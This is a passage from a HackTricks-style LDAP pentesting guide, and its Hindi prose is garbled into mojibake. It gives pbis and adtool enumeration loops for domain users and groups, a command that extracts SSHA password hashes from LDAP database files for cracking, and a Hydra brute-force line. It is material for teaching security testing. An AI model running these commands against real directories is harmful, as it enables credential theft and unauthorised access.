рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣рд╛рдБ рдЬреЛ рдкрд╛рд╕рд╡рд░реНрдб рдЖрдк рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рд╡реЗ рдЕрд╕рд▓реА рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ...

pbis

рдЖрдк pbis рдпрд╣рд╛рдБ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/BeyondTrust/pbis-open/ рдФрд░ рдпрд╣ рдЖрдорддреМрд░ рдкрд░ /opt/pbis рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддрд╛ рд╣реИред
Pbis рдЖрдкрдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Graphical Interface

Apache Directory

рдпрд╣рд╛рдВ рд╕реЗ Apache Directory рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ. рдЖрдк рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ.

jxplorer

рдЖрдк рдпрд╣рд╛рдВ LDAP рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рдЗрдВрдЯрд░рдлреЗрд╕ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: http://www.jxplorer.org/downloads/users.html

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдЗрд╕ рдкрде рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: /opt/jxplorer

Godap

рдЖрдк рдЗрд╕реЗ https://github.com/Macmod/godap рдкрд░ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ

Authentication via kerberos

ldapsearch рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк kerberos рдХреЗ рдЦрд┐рд▓рд╛рдл NTLM рдХреЗ рдмрдЬрд╛рдп рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдкреИрд░рд╛рдореАрдЯрд░ -Y GSSAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ

POST

рдпрджрд┐ рдЖрдк рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реНрдерд┐рдд рд╣реИрдВ (рдпрд╣ /var/lib/ldap рдореЗрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ)ред рдЖрдк рд╣реИрд╢ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

рдЖрдк рдЬреЙрди рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ ( '{SSHA}' рд╕реЗ 'structural' рддрдХ рдмрд┐рдирд╛ 'structural' рдЬреЛрдбрд╝реЗ) рдХреЗ рд╕рд╛рде рдлреАрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ

  • рд╕рд╛рдорд╛рдиреНрдп
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 рд╕рд░реНрд╡рд░
  • V3.sas.oc
  • Microsoft Active Directory рд╕рд░реНрд╡рд░
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рд░реНрд╡рд░
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЖрджреЗрд╢

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}